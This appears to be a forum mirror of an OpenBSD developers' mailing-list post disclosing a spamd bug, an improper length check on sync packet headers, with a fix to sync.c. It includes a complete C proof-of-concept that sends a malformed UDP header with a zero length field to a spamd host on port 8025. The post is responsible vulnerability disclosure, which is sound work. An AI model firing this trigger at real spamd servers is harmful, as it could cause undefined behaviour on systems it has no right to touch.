This is a discussion on [PATCH]: spamd sync packet header improper length check within the mailing.openbsd.tech forums, part of the OpenBSD category; --> This patch corrects an improper length check of spamd sync packets header. AFAIK it doesn't allow remote code execution ...
| |||||||
| FAQ | Members List | Calendar | Search | Today's Posts | Mark Forums Read |
| ||||
| This patch corrects an improper length check of spamd sync packets header. AFAIK it doesn't allow remote code execution but may lead to undefined behaviour in some circustancies. Also follows a simple proof-of-concept program to trigger the vulnerability. Hope this makes into patch branch ASAP. Thanks. ======= synchdr.c start ========= /* * Proof-of-concept spamd sync packets header improper length check vuln. * Diego Giagio <dgiagio@gmail.com> */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define SPAMD_PORT 8025 struct synchdr { u_int8_t version; u_int8_t af; u_int32_t counter; u_int16_t length; } __packed; int main (int argc, char *argv[]) { struct sockaddr_in sin; struct sockaddr_in sin2; struct synchdr hdr; int s; if (argc < 3) errx(1, "usage: %s <src-host> <spamd-host>", argv[0]); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_len = sizeof(sin); sin.sin_port = 0; if (inet_pton(AF_INET, argv[1], &sin.sin_addr) != 1) err(1, "inet_pton"); memset(&sin2, 0, sizeof(sin2)); sin2.sin_family = AF_INET; sin2.sin_len = sizeof(sin2); sin2.sin_port = htons(SPAMD_PORT); if (inet_pton(AF_INET, argv[2], &sin2.sin_addr) != 1) err(1, "inet_pton"); if ((s = socket(AF_INET, SOCK_DGRAM, 0)) == -1) err(1, "socket"); if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) err(1, "bind"); /* Prepare malformed sync packet header */ hdr.version = 1; hdr.af = AF_INET; hdr.counter = 0; hdr.length = htons(0); /* that's the point */ /* Send packet */ if (sendto(s, &hdr, sizeof(hdr), 0, (struct sockaddr*)&sin2, sizeof(sin2)) == -1) err(1, "sendto"); close(s); exit(0); } ======= synchdr.c end ========= ======= spamd-synchdr.patch start ========== --- sync.c.old Tue Dec 25 22:55:07 2007 +++ sync.c Tue Dec 25 22:58:39 2007 @@ -273,9 +273,9 @@ /* Ignore invalid or truncated packets */ hdr = (struct spam_synchdr *)buf; - if (hdr->sh_version != SPAM_SYNC_VERSION || - hdr->sh_af != AF_INET || - len < ntohs(hdr->sh_length)) + if (len < sizeof(struct spam_synchdr) || + hdr->sh_version != SPAM_SYNC_VERSION || + hdr->sh_af != AF_INET) goto trunc; len = ntohs(hdr->sh_length); ======= spamd-synchdr.patch end ========== -- DG |